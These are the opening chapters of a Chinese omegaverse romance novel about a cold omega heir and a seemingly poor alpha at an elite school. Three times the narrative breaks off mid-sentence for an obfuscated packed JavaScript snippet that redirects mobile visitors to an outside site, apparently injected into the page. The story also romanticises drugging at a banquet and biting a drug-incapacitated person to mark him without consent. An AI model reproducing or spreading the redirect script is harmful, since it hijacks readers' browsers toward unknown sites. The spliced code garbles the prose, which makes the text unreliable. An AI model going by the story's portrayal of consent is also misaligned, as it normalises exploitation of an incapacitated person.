《装穷alpha缠上清冷omega》 1. 第一章 A市。 九月伊始,蓝天白云,晴空万里,路旁花坛里栽种的绿树挺拔葱郁,校园里花香沁人心脾。 白色尖顶的建筑高大,阳光透过水晶棱形窗户被切割成绚烂的彩块照在地上,大礼堂里头传来喧哗吵闹的声音。 高大的穹顶上坠着水晶吊坠灯,一排排红丝绒高背椅上乌泱泱坐满了人,打扮精致的少爷小姐们互相打招呼。 “好久不见呀~” “好久不见,暑假过得还好吗?” ...... 今天是星耀高中举办第一百五十八届开学典礼,所有人都要穿校服、西装正式到场。 开幕式正式举行前十分钟,大堂里放着舒缓的音乐 ,人声嘈杂,突然就爆发出一阵密集的窃窃私语: “快看快看!” “啊?” “是隽云!” “哇!隽云来了隽云来了......” 侧门被推开,不少人翘首以盼,空气似乎都安静了一瞬。 隽云是谁? 他出身于整个A市最勋贵的门阀世家,长相精致,平素矜贵冷淡,言行举止从未出过差错,出了名的完美,在他们这些上流圈层的小孩中可以说是模范生般的存在。 只见虚掩的大门被推开,一个人走了进来,那人鼻梁挺拔,唇红齿白,面容色冷淡,穿着一身熨帖的西服。 衣角飘过,带来一阵清香。 他后面还跟着一个女alpha,她穿的是简约的小礼服款式,半身裙,黑色的眼线浓长,红唇鲜艳,看得出做了精致的妆造,不过她的鞋跟有些高了,走路并没有隽云那么快。 “隽云,等等我。” 大礼堂大约容纳了一千多人,周围嘈杂的声音太多,隽云似乎是没听到她的声音,神情寡淡,没有停下来等她,而是径直走到了第一排正中间——他的位置。 许多人的视线都若有若无地落到了正中间的那人身上,隽云一身深黑色西装,身姿挺拔地端坐着,和后面数十排穿蓝色校服戴铭牌的学生们有明显的区别: 满身清贵,气质斐然。 窥探的视线从四面八方而来落在他身上打量他,隽云不动声色地皱了皱眉。 旁边贴着“叶馨言”名字的座位很快被后背盖住,娇嗔的女声在耳边想起,嘟囔着说: “隽云,你都不等我。” 手臂被人挽住,隽云的脸色有些冷: “抱歉,刚才没听到。” 隽云甚至都没有转过头看她。叶馨言脸上闪过一丝落寞,很快,她又释然地笑了,挽着他的手臂娇娇说: “叔叔阿姨说今晚要一起吃个饭,你知道吧?” “知道。”简短且冷淡的回话。 宽敞的大礼堂两侧红幕布松软地被拉开,开幕仪式正式开始,主持人这时上台说话了,台下一众学生鼓起掌。 “各位尊敬的老师,亲爱的同学、捐助我校的爱心企业家们,大家下午好!” 台下响起一片鼓掌声。 “在这美好的金秋时节,在这美丽如画的百年校园,我们又迎来了一个新的学年......” 主持人穿着礼服说着激昂奋人的开场讲话,等主持人说完之后,就是学生代表致辞了。 约莫十五分钟后:“接下,让我们有请学生代表致辞!大家掌声欢迎~” 台下掌声雷鸣,目光都落在了第一排正中间的隽云身上,往年都是隽云当学生代表。 学生代表是一个身份统称,既是学生代表,也是学生会主席、校团委负责人。 在学校内,代表学生发表讲话,在学校外,则代表学校参加各种竞赛,演讲,活动,将获得国内外大学免试的机会。 作为星耀中学的学生代表,还会在各大政府活动和大型企赛中露面,可以说是同龄人中的翘楚,学生引领般的存在。 隽云已经当了两年了,今年应该也不会例外。 无数人的视线落在他的身上,期待他上台。 隽云乌黑的头发落在侧脸,衬得他面色雪白,可是他就这么静静地坐在原地,神情不变,并没有起身。 台上上来了另外一个人。 很高。 所有人见到他的第一印象首先是身高,因为他和主持人擦肩而过,对比十分明显——他高了主持人整整一个头。 那人头发微分盖到眉侧,眉骨高挺,脸侧棱角分明,带着很难忽视的英俊帅气,他站在装饰着花和立麦的主持台后,沉稳地扫了一眼台下,略微颔首。 单手扶了一下立麦,略微弯腰,嗓音磁性低沉: “大家好,我叫匙越。” “啊?” “谁?” “这是怎么回事?” 满座哗然。 第一排坐着的人皆西装革履,都是A市有头有脸的人物,商界、政界、军界大佬如云。 他们或多或少都与隽云在各种宴会上打过照面,此次特地受邀前来参加此次开学典礼,见隽云没上去而上来了个面生的人,一时间,他们纷纷诧异地转头看向中间的隽云。 怎么隽家的小子没有上去? 台下的学生们掀起一阵疯狂的窃窃私语,高三私下建的,没有班主任和学校领导的大群——“团结友好,互抱大腿”群聊,没一会儿就99+了。 “这是谁?” “没见过。” “好帅啊!” “好高啊,长的真帅,没听说过星耀有这号人啊......” “他谁啊?有什么资格上台,我的隽云呢?” “对啊,隽云不是学生代表吗?怎么是他发言?” 坐在台下的叶馨言面有疑惑,压低声音问隽云:“这个人,你认识?” 隽云的眼睛黑白分明,冷淡地看着台上的人:“不认识。” “不认识他怎么会......”怎么会把你的学生代表抢了? 叶馨言音量提高了一点,话还没说完,台上的声音将她的声音打断,未说完的话咽了下去。 “.......我来自高三一班,很荣幸刚一入学就作为学生代表被邀请上台发言......” 低沉好听的声音在大礼堂缓缓流淌,宛如播音腔般字正腔圆的声音,带着些磁性娓娓道来,洗涤着众人的耳朵,听着十分舒服: “当秋叶梧桐泛起第一缕金黄,当晨风裹挟着未消散的暑气悄悄溜走......” “等等,高三一班......”坐在第二排位置的文强一激灵,他一拍脑袋:“什么!我们班的?” 星耀中学是A国财力、权力最顶级的权贵们子女就读的学校,权力是一张网,这个圈子里的人都互相认识,再不济也听说过名字。 匙家? 谁? 好像没听说过。 文强旁边的女生问他:“这什么情况?” 文强目瞪口呆地搜刮了脑海一圈也没听说过A市有哪个名流世家姓匙:“真不认识!” 陆思华坐他旁边,淡淡道:“那就是社会名额考进来的了。” 每年都有招考,只是没想到都最后一年了,居然还有转校生进来。 “那就是学习成绩非常非常好咯?”文强说。 他神情恍忽地看着台上一表人才的男生:“那这得有多好啊!!都好到把隽云挤下去换他当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472995|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生代表了?!” ...... ...... “我的演讲完毕,谢谢大家。” 匙越走到主持花台的台侧,一只手背到身后,另一只手放在胸前,很绅士地鞠了一躬。 所有人的目光都落在台上那个人身上。 俊逸的脸庞,身姿颀长,然而,很可惜也很突兀的是,与他周身气质不符的是他那洗到发白的校服和破旧的鞋子,以及他的老款校服束脚裤。 这身打扮...... 台下无数惊艳的视线转为鄙夷,原因无他,原来是个社会招考生——这所贵族学校里的穷人。 随着他的演讲结束,学生们私下偷偷用手机在没有老师和校长的公共群聊“团结友爱,互抱大腿”群里的讨论也有了结果: [看来,星耀中学今年的政策改革了,不看家世只看成绩——学生代表换成只会读书的老实人了。] 坐在隽云身边的叶馨言轻声讥讽:“好寒酸的alpha,隽云,这种人就是爬一辈子也不会和我们有任何交集。” 这时,匙越目不斜视地从他们二人面前经过,隽云置若罔闻,神情依旧冷漠。 仿佛面前经过的人是空气。 众目睽睽之下,学生代表从前学生代表面前路过,全程没有语言交流,甚至连眼神上的交汇都懒得有。 底下掀起一阵窃窃私语的波澜: “嘤!隽云好冷漠啊!” “感觉那个人也好拽啊!” “互相无视啊......” “我靠?这么拽?”文强震惊:“他不怕隽云把他......” 有人不了解隽云曾经做过什么,于是请教旁边的人:“隽云会把他怎么样?” 旁边那人立马绘声绘色地告诉他:“你是不知道,曾经有个人惹了隽云,你猜怎么着?隽云召开股东大会,以隽家占资35%最大股东身份将那个男生开除学籍,赶出星耀中学了,并且那个男生还有他家里人从此在A市一夜蒸发,不知去处!!!A市就这么大,反正我可是再也没见过他......” “什么!?” “在星耀里混谁敢看轻隽云啊?这个社会招考生真牛,一来就敢抢风头,我看他很快就会在星耀待不下去了!” “天啊,那这下可有好戏看了。” 学生代表致辞完了,还有校长致辞,捐资助学企业家代表致辞,政府代表人致辞...... 往年的致辞都又臭又长,校长年过七十,说话节奏拖沓,时不时还要停顿几秒清嗓子,嗓音浑浊还带着点口音,有了刚才的对比,许多学生都昏昏欲睡。 才听了两分钟,隽云的手机震了一下。 旁边的叶馨言问他是谁,隽云看了一眼手机后摁键,息屏,他偏过脸,没有立刻回答,而长睫一垂,想了想,他说: “陆思华?” “什么!?” “抱歉。”隽云把她挽在手上的手推下去,而后起身:“有事,失陪了。” 叶馨言诧异地转头,刚好对上斜后一排陆思华的视线。 陆思华单腿翘着,正手撑着一个脑袋听老校长讲话,见前排的叶馨言看过来,他微微挑了一下眉毛,表情有些疑惑。 叶馨言顿时觉得奇怪,她指着陆思华对隽云说:“可是陆思华不是就坐在那里吗?!” 没有得到隽云的回应,身边很安静。 叶馨言一转头。 哪里还有隽云的人影? * 昏暗的地下室。 “唔唔......” 迷乱的喘息声,衣服的摩擦声,亲吻的水声响不停。 2. 第二章 不大的器材室,没有开灯,只能朦胧看到两道身影挨在一起。 隽云捧着他的脸,生涩而急促的呼吸声交缠在一起,温热的气息扑倒他的脸上。 不知道是不是隽云的错觉,室内的温度升得很高。 一只手将他额前头发撩起来了,顺着脸阔摸到了耳后,然后摸了摸他的后颈,沙哑的声音和之前在大礼堂时听到的声音别无二致,却更低哑,压着点别的意味: “怎么出这么多汗?” 隽云睫毛很长,飞快颤着,他又凑过去贴了一下他的唇角,那人捏着他的后颈转过正来与他正对着接吻。 温热的唇贴在一起,隽云生疏、完全没有任何章法地亲他,器材室里闷热,潮湿滚烫的呼吸交缠,察觉到alpha的信息素释放开来,隽云那种骨缝中隐隐的痒和渴望这才消下去。 “呼......” 腿一软,隽云没有什么力气地跌坐下去,被一双有力修长的手及时捞住。 “为什么还不会换气?” 隽云没有回应,他的额头上带着细密的汗珠,整张小脸白皙到苍白的程度,于此相反的是双唇却红肿糜艳,微微张着,正小口小口地喘气。 已经很好了,唾液所带来的信息素浓度足够多,让他的身体舒缓了不少。 “昨天没有亲,所以今天要再亲久一点才行......” 宽大厚实的手掌带着一点茧,托在他的后脑勺上,温凉顺滑的发丝穿过他的手心,从缝隙中落下来一点。 匙越指尖摩挲,隽云顿时感受到一阵难以言喻的酥麻痒意从头皮升起,传到脊椎。 隽云的侧脸被他托起,气息拂面,清冷漂亮的眼尾泛红,眼睛泛着一层雾。 听到匙越的话,隽云的神智稍微清醒了一点,从鼻腔中挤出的声音还带着点模糊: “不亲了吧......” “够吗?” 在一毫米的距离时停下来了,两双眼睛对视上,隽云清晰地看见那双狭长的眸子里倒映出来的自己的模样。 “医生说了,体内有残留药物,必须每天摄入足够的信息素才行。” 淳淳善诱的声音低沉,说着看似理智的理由,显得何其无辜,诱惑似地,使人带着欲望下坠。 “医生说的,要遵医嘱啊。” 几乎是鼻尖抵着鼻尖的距离,克制的呼吸声夹杂着滚烫灼人的热意轻拂脸上,说不清是脸更热还是呼吸更热。 提到医生,隽云的眼睫一颤,揪着他的衣角,仰头贴了上去,将那一毫厘的距离彻底归零。 半个月前。 麦嘉莉国际酒店名流萃集,主办方叶家为庆祝成功拿下政府的一个投资项目,专门举办了一个答谢宴。 隽云随父母一同前往宴会。 宴席上,隽云穿着一身熨帖的西服,单手端着酒杯,面带礼貌微笑与人交谈。 谁知,聊没几分钟,一个端着酒盘穿燕尾服的侍应生突然往自己身上撞,酒水洒了他一身。 于是隽云只好在侍应生的抱歉声及其他人的劝慰声中提前离场,去处理身上脏了的地方。 酒店的洗手间不仅区分男女,还会区分omega和alpha。 找到洗手间后,隽云走进了男omega的厕所,取了卫生纸擦拭身上的糟污,却没想到,头越来越晕。 不...... 不对。 隽云晃了晃脑袋,抬头看到面前横着的超大镜子上照出他的样貌。 额前的发丝因为出汗而黏在一起,清隽的眉骨上挂着一层薄汗,双唇因为呼吸急促而微张着喘气。 很快,体内一丝燥热感升腾,他的脸颊上也浮现出几丝不正常的红晕。 怎么会这样? 眼前的视野开始模糊,身体摇摇欲坠,隽云的手猛地撑在了面前的大理石洗手台上。 洗手间建的高大奢华,富丽亮堂,暖黄色温暖系的光线照在隽云的身上,与此同时,隽云的体内突然升起一股燥热。 好......热...... 后脖颈处的腺体隐约发热,隽云的眼瞳放大,他忍不住颤着指尖,解开了胸口的几粒扣子。 太热了。 这不正常...... 但是他从来没有经历过发情,所以也无从判定他现在到底是什么情况。 是发情吗? 到底怎么回事? 隽云的脑中急速飞转,仔细回想是不是吃错了什么东西才导致他变成这样。 晚上他没吃晚饭边跟着爸妈来了这里的宴会厅,期间没有吃任何东西,只喝了一点酒...... 该不会...... 该不会是他喝的那杯酒有问题吧? 汗珠顺着眼睫滑落,隽云半起身环顾四周,墙面瓷白干净,厕所隔间里寂静无声,新风系统里传出一点机器运转的风嗡声,从里头散发出来的沉香香氛让隽云更加头昏脑胀。 这里没有人。 身体里的火自小腹烧起,烧的人头脑发昏,隽云唯一的念头是不能再在这里待了。 他脚步飞快,脸色苍白得如同水洗过,软绵无力的手拉开厕所的门,一抬脸,发现门口竟意外站着那个侍应生。 隽云往后退了几步:“......你怎么在这里?” 见他出来了,侍应生笑眯眯地要来扶他:“怎么这么快就出来了?少爷您看您跌跌撞撞的,小心别摔了,我来扶您。” 隽云被他碰上的一瞬间,顿时心生嫌恶,攒了点力气顿时猛地甩开他的手:“滚!” 侍应生不过是一个beta,没料到隽云还有力气,不设防地就被他推的踉跄几步,差点摔在地上。 再抬头,那人已经跑出几米远了。 “想跑?没门!” 走道有很多扇紧闭的大门,有些是贵宾休息区,有些是会议室、举行宴会的小厅。 疾步拐过一道弯,隽云看到一扇门打开了,一个西装革履的男人侧对着他和里面的人说了句什么,就头也不回地走了。 厚重的红色地毯上面花纹繁复,沿着走廊一路铺过去,皮鞋踩在上面静音效果明显。 急促的呼吸声和心跳声混在耳畔,隽云觉得自己开始渴望得到一些什么,但是说不上来。 浑身热气上涌,五感却异常鲜明。 他听到觥筹交错的声音,还闻到了各式各样的信息素味道——这些在往常隔着门根本不可能听到、闻到。 无数股信息素的味道弥漫至他的鼻腔中。 铜臭和铁锈味、汽油味、金属、烟草的味道......这些味道带来的排斥感,让他格外想吐。 好多信息素...... 疼...... 他不喜欢这些信息素的味道。 乱七八糟的信息素味道混在一起萦绕着皮肤,像针扎一样,让他皮肤的灼烧感更强。 五感无限放大,特别是嗅觉,他从空气中捕捉到一丝非常非常淡的果酒香,混着淡淡香草气味,被他闻到了,从那扇门里面飘出来。 那一缕信息素的味道贴着脸庞飘过,脖颈后一直以来被极力忽视的腺体仿佛有生命般一跳一跳。 那缕信息素的味道......好香...... 好好闻。 隽云呼吸沉重,他的意识有点迷茫,身体本能占据思考,他不由自主地朝着那扇没关的门走了过去,抬手,渴望地推开了那扇门。 隽云将半阖的门推开,骨子里的教养让他下意识反手把门推过去关上,一时失了手,把握不好力度。 “嘭!”门重重地撞在门框上,关上了。 刚离开七八米的男人察觉到异样,他蓦地转过头来,那是一张四十多岁饱经风霜的脸,沉稳严肃,黑色漆皮鞋在红色的地毯上顿住脚步。 追过来的侍应生绕过转角看到他后刹住了脚步。 “闵.....闵总......” 闵荣面色严肃:“什么事这么着急忙慌的?” 侍应生小声又心虚道:“没......没事......” 一门之隔的房间。 隽云扑在另一个人的身上,那人双手抬起,绕过他的臂弯,下意识接住了他。 冰凉的皮肤圃一相触,隽云忍不住往他身上靠了靠。 一只手掐住他的脖子,宽大的掌心带着粗糙的茧子,虎口正好卡在他的下巴上,于是隽云的整张脸被人掐着抬了起来。 透过昏晕的白灯光圈,他看到那人碎发微分,垂着眼睛,正冷静地看着他: “omega?” 离得太近,大股白兰地酒香混杂着一丝甜味将他裹挟,隽云忍不住想要更多,他仰头,目光涣散地看着他,视线落到了他一张一合的唇上。 那里...... 信息素更多...... 想要...... 那人冷静地打量他,眼里不带任何感情,墨黑的眼眸里晦暗不明:“还是一个发情的......” 下一秒,温热的触感贴了上来,阻断了他未说出口的话。 浓郁的信息素炸开来,隽云如愿以偿,不仅闻到了,还尝到了。 ... 等隽云再次清醒的时候,他发现自己躺在病床上。 他眯着眼,辨认出这里是医院。 医生在检查他的身体,见他醒了,问他:“之前是不是一直在抑制自己发情?” 隽云听完医生说的话后慢了半拍回应说:“是的。” “一般十六岁腺体成熟就会开始经历发情期,但是你如今已经十八岁了,还没有经历过发情期。” 医生皱眉:“你是不是经常给自己打抑制剂?” 隽云:“......是。” “没发情也打?” 隽云不说话了。 “那就对了,过度压抑自己的信息素对你的身体造成了负担,引起了十分强烈的发情热。”医生叹了一口气:“你们这些小年轻啊,也太不爱惜自己的身体了。” 发情热? 难怪他会那样...... 隽云听医生说:“另外,对你进行了血液检测。” “发现你的身体里存在少量的苯枇,这种东西用在omega身上会诱导发情。” 医生强调:“如果没有及时得到抚慰,后果会非常严重。” 这个抚慰的意思不言而喻,在那种情况下,如果遇到一些居心叵测的alpha,说不定会对他进行彻底标记。 想到彻底标记的方式,隽云的脸色不太好看。 后脖颈传来隐蔽的疼痛,隽云抬手,摸了一下,本该是光滑微微隆起的腺体皮肤,此刻却有些凹凸不平,似乎是......被咬破了。 他被人临时标记了。 这时,正巧门被敲了几下,隽云看过去,一个穿着灰色卫衣深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472996|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色裤子的男生靠在门口。 那是一个很高的男生,大概有一米九,头发微分,眉眼轮廓线条流畅清晰,鼻梁高挺,嘴唇薄厚适中,他看着隽云: “醒了?” 声音也很好听。 他走过来,将手上拎着的一份早点放在了床头,并说了第二句话:“吃点吗?” 他偏过脸来,视线落在隽云的脸上,见隽云摸着后脖颈看他的目光不是很和善,于是他笑了一下,似乎很无奈地说: “你那时发情的厉害,粘着我不放,我就只能咬破你的腺体给你做临时标记了。” 磁性的嗓音在房间内响起,说这话的人似乎并不觉得有什么好害臊的,很无辜地,如实陈述。 只有隽云听的眉毛拧起,很难想象,“发情的厉害”“粘着人不放”的这个人会是他。 隽云抬眼,对上一双写着澄澈真诚的眼睛,他更不知道该说什么了。 他没有那段发情热的记忆,不知道他到底对他做了什么。 医生在旁边翻开病历本:“你们俩是情侣吧?” 他翻到化验科给出的信息素化验结果:“你们俩的信息素匹配度非常高啊,都达到98%了。” 医生再度抬头,看向他俩,又问了一遍:“你们俩......是情侣吧!?” “我还是第一次看到这么高匹配度的信息素。”旁边年轻的护士笑了笑,打圆场:“这下不是情侣都说不过去了。” 什么...... 多少匹配度? 隽云抬脸,怀疑自己听错了。 匙越也是第一次听说信息素匹配度能达到这么高。 当今社会分omega、beta、alpha三种性别,大多数人是beta,没有生殖腔,脖颈后面的腺体萎缩,也不能散发和闻到别人的信息素。 omega和alpha在社会人群中占比10%,后颈有腺体,能闻到彼此信息素的味道。 omega和alpha之间能互相吸引,但吸引的程度大多都在70%-89%之间,很少能超过90%的,更别说达到98%这么高了。 医生对匙越说:“残留在体内的苯枇要一个月才能完全代谢掉,他的发情热刚过,在此期间,你需要每天都给他提供一些信息素稳定他体内的信息素,免得引起二次发情。” 医生转而对隽云说:“以你的身体情况,你最近一个月都不能再打抑制剂了。” 什么? 隽云看似平静:“我是一个腺体发育正常的omega,不用抑制剂的话,我会很容易发情的。” 医生:“没错,但你不能用抑制剂,最好还是用alpha的信息素来调节你体内的信息素。” 隽云的脸色一下变得很难看:“那意思是,接下来的一个月,我不仅需要他给我提供信息素,并且如果发情了,我还得找他吗?” 医生点头:“对的,你不能再用抑制剂压制你体内的信息素了,最好还是找个alpha调节一下,匹配度越高越好。” “就当找他治病啦,就一个月而已,”旁边的护士调侃了一句:“你们可以接吻,身体里液体的信息素含量最高了。” 接吻啊...... 匙越脑海中浮现前一晚的画面。 温软的身体化成一滩水般,倒在他的在怀里,泛红的手指紧紧地抓住他的衣角,呼吸灼热而凌乱,他着迷地嗅闻他身上的味道,一路闻上去,迷糊地仰着头,看着张合的嘴唇,踮脚亲了上来。 毫无技巧的双唇相贴带着天真的意味,不像在索吻,倒像是在寻求安慰。 omega胡乱释放着自己身上的信息素,让alpha也意乱情迷。 虎口卡住omega的下巴别过他的脸,鬼使神差地嗅了嗅他的后脖颈。 腺体红肿,散发出诱人的信息素味道。 清扬的橄榄果香混杂着像柠檬皮一样的酸涩味道萦绕鼻尖。 几个沉重的呼吸来回,alpha恶劣的本性暴露出来,被这股信息素味道蛊惑,猛地一口咬了上去。 绿色的橄榄果被一口咬碎,汁水四溅,酸涩的味道萦绕唇间,甜甜的回甘让人口齿生津。 短暂的吟叫声如同被扼住了命运的咽喉,濒临绝望又渴望地挣扎抗拒,又如同猫被扼住了后脖颈作出的细微抵抗,是可怜的无用功。 于是红肿的腺体被刺破,白兰地红酒味的信息素强势侵略进去,和橄榄香信息素缠绵、交融。 alpha的信息素被注入到腺体里面,下一秒,被浇灌了过多信息素的omega便一下虚软下来,软绵地从他身上滑落到了地上。 * 不知道匙越在想什么。 隽云打量他,见匙越站在那里没动,敛着眼眸,看着像是陷入了沉思。 应该是在考虑医生的话吧? 隽云冷心冷情地想,这个人衣着平凡普通,人看着还算正经,神情这么凝重,大约是觉得惹上麻烦了? ...... ...... 面前的人面庞白皙,眉眼冷冽,整个人都透着一股生人勿近的气息,和记忆中那人绯红满脸,迷离又渴望的神色截然不同。 匙越神情莫测,他莫名有些心痒,仿佛又回到前一晚,听到那人含着哭腔发出的破碎细微的吟喊声...... 墨色的眼眸翻滚,垂至身侧的指尖微动,匙越暗暗舔了舔牙。 3. 第三章 见二人双双沉默,气氛太过诡异,良久,医生终于忍不住纳闷地嘟嚷: “你们俩怎么感觉不熟啊......搞什么啊?匹配度这么高居然不是情侣吗?” 隽云:“......” 他们今天第一天认识。 最终门被关上,医生拿着病房登记本出去了。 隽云用审视的眼光打量匙越全身。 衣服并不是他认识的什么牌子,设计非常普通,料子看上去也很便宜,手腕没有戴表,鞋子也不是多名贵的鞋子,很普通的水果缤纷鞋。 总而言之,一切都很普通。 隽云来回深呼吸几次,终于还是问出口:“你在哪里读书?” 他的声音听起来没有什么起伏,听起来有些似死如归了。 匙越插着兜慢条斯理地说:“星耀中学......吧?” 隽云没在学校见过他,感到奇怪:“你是今年的社会招考生?” “应该是。”不确定的语气,因为还没有正式入学。 那就好办了...... 隽云组织了一番措辞,难得神色纠结,手放在被子上也抓起了皱。 匙越看笑了,主动提起:“我能给你提供信息素,要不要做个交易?” 隽云:“什么交易?” 他做好了匙越会狮子大开口的准备,毕竟是隽云很需要他的信息素,而不是他需要隽云,信息素是很私密的东西,通常不会给一个陌生人。 “学生代表。” 本以为他会要很多钱,没想到是要这个,隽云愣了一下。 “你认识我?” “刚才病例单上看到你的名字了,隽云。” 病房内静默了一会儿,白粉白粉的百合花还挂着露珠开的正艳,床头的早点还冒着热气。 隽云的侧脸带着几丝病气的苍白,他半靠在病床上,看着眼前的这个人,没有问他为什么要学生代表,而是说: “可以,但是我们之间的事情,不能和第三个人提起,尤其是学校里的人,知不知道?” “可以。” “那就,合作愉快。” “合作愉快。” * 九月的天气有些闷热,窗内开了冷气,在窗户上形成了一层薄薄的雾气。 天气比较阴沉,看起来要下雨了,有细小的雨丝飘到了车前挡风玻璃上,黑而细长的雨刮器动起来,刮掉了玻璃上的细密小雨。 车内每天固定放的财经播报正喋喋不休:“目前,荣华集团已经完成第一轮天使投资......” 隽云坐在后座侧着头看窗外,外面的天灰蒙蒙,重重高楼大厦从他眼前飞驰过去,他看着外面,心里想着其他事。 半个月过去了,他还是没有查出是谁给他下的药。 那名侍应生不是麦嘉莉酒店的工作人员,查了酒店登记的信息,登记的是假的名字假的身份证号。 放到旁边的手机这时亮了一下,震动了一声。 隽云转过脸来,垂下眼睫,看到显示在屏幕上的备注人是“爸”。 机械女音从前座传来:“作为铭升集团的强敌,荣华集团此次顺利完成第一轮天使投资,对此,铭升集团董事长有何看法?下面我们进行专访......” 一阵嘈杂的声音过去,是一个沉稳的女声:“商业是马拉松,一时的领先不代表终局,我们期待接下来在其他领域与荣华集团的会面......” 听着他妈无懈可击的回答,隽云嘲讽地勾唇,放在手机屏幕上的手指滑开锁屏,名为“爸”的消息就弹了出来。 “晚上的时间留出来,鹿山建筑公司的老总有个孩子在读小学,我们谈事情的时候你去陪他,记得拉进一下关系。” 隽云盯着屏幕看了一会儿,面无表情地发送。 -云:好的。 发完消息后,他的胸膛剧烈起伏了一下,深呼吸一口气,隽云退出消息软件,点开未接来电,那里有五六个红色的未接来电,名字都是“叶馨言” 。 “少爷,我们不去接叶小姐,真的可以吗?”司机戴着黑色的皮质手套,他把握着方向盘,有些不确定地问他。 昨天晚上的名流宴会散场后,叶小姐还特意叮嘱他,开学第一天记得提醒隽云早上接她一起去上学。 只可惜,妾有情郎无意。 司机还在感叹,而隽云神情冷漠:“她自己可以去学校,为什么要接?” 这时,手机又传来一声震动,隽云点开,指尖一顿。 那是一个没有备注姓名的人。 -sy1011:今天第一天上课,你不来吗? 隽云一愣,往上翻了一下聊天记录,往上每天几乎都有聊天,持续了小半个月,每天聊天内容都只有两条——对方发一个定位过来,而隽云发个OK。 今天发的内容和往常不太一样,因为开学了。 这时,手机上又弹出来一个消息: -sy1011:[照片] 是一堆用奶白色糖纸裹着的圆柱形糖果,随后又是一声消息震动: -sy1011:买多了,你要不要? 司机透过后置镜看到隽云冷白的侧脸皱了皱眉,似乎有点纠结,难以回复。 这种表情跟看到他爸和叶馨言的消息有一点微妙的不一样。 这是在和谁聊天? 见隽云迟迟不回复,司机斟酌着用词提醒他:“少爷,你不回吗?” 隽云回过神,抿着唇在屏幕上打字,发过去,然后把手机丢在一旁。 后背靠在椅背上,侧过脸看天空,感觉天沉的要压下来了,隽云的脸上有点疲惫: “李叔,开快点吧,我上课要迟到了。” “好的。” 另一边,匙越的手机响了一声,他看着屏幕上的消息笑了笑,不出预料的,上面显示: 不要。 * 钟鼓悠扬的声音响起,学校的钟楼在整点会敲响,隽云到教室的时间并不晚,在上课时间前半个小时就进了教室。 星耀中学根据家世排名分班,隽云从高一到高三都被分在一班,作为星耀中学的最大捐资股东,他的座位在教室正中间的位置,看讲台的视野好,老师也一眼就能关注到他。 学校实行单人座位,没有同桌。 隽云眉目疏离,朝后座看向他的陆思华点了个头,他就走到座位上坐下,把书包挂在桌侧。 无视那些若有若无聚焦在他身上的视线,他从抽屉里拿出一本厚实的书本放在桌上摊开看书。 等到下课,隽云拿出手机翻了一下消息,叶馨言发了十几个消息过来,问他早上怎么不等她也不接电话,害得她在自己家门口站了十几分钟。 隽云回复她:[手机没电,忘了,不好意思。] 把手机放进抽屉里,隽云看了一会儿书,没看多久,他有些困倦地按了按眉心。 昨晚的宴会晚上十点才结束,回到家里听完他爸妈还有爷爷训话的后,再回到房间已经快一点半了。 他没睡好。 毕竟昨晚的宴会上,长辈们商量的是他的大事,他们计划等他完成高中学业后就举行他和叶馨言的婚礼。 可以说是非常地赶、非常急促了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472997|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当今社会,十四岁出现腺体分化,十六岁腺体成熟,十八岁就可以结婚了。 而他今年已经满十八岁,已经到达法定结婚年龄,等到他高中一毕业,就会被安排和叶馨言进行婚姻登记。 不过,选择高中一毕业就结婚的人还是少而又少。 只有极少部分上层阶级,会选择在子女完成高中学业后就立马安排结婚,以稳固阶级利益。 等到大学的时候就可以开始学习接管企业了,不会因为谈恋爱的事情分心。 身为隽家独子,隽云能料想到自己会被推出去联姻,只是也没想到会这么快,高一就定下了联姻对象,等他高三一毕业就安排结婚。 对方不是什么企业家的女儿,而是检察院院长的独生女,集千娇万宠于一代的女alpha。 隽云没有多意外是叶馨言。 毕竟不是商界联姻就是政界联姻,他总归是父母手里一颗好用的棋子,他们做事,从来不需要过问他的意见。 选择检察院院长独女对他爸爸的政府事业有帮助,对妈妈管理的铭升集团虽然助力不太大,但能提升很高的社会威望。 所以就选定了叶馨言。 再加上他爷爷和她爷爷是老战友,在爷爷这条线的牵引下,和她订婚倒也顺理成章起来。 虽然,他不喜欢那个女alpha身上甜甜的柑橘味道。 但是他没法做决定。 隽云穿着秋季校服,胳膊斜撑在桌子上,他合上眼皮准备闭目养神睡一会儿。 清晨的光打在隽云的侧脸上,将他脸上细小的绒毛照的清楚。 浓黑的头发蓬松,发丝贴在额头上,单眼皮,眼尾微微上扬,隽云的皮肤很白,因为没睡好,眼睛下方有淡淡的黑眼圈。 迷迷糊糊中,他睁开眼睛。 早晨的阴云散去,透过窗户打下一束束光线,日晕晃眼,在嘈杂的声音中,隽云双眼微睁,浅黑的眼眸迷蒙,顺着睡觉有些歪斜的姿势,视线投向了斜后方门口。 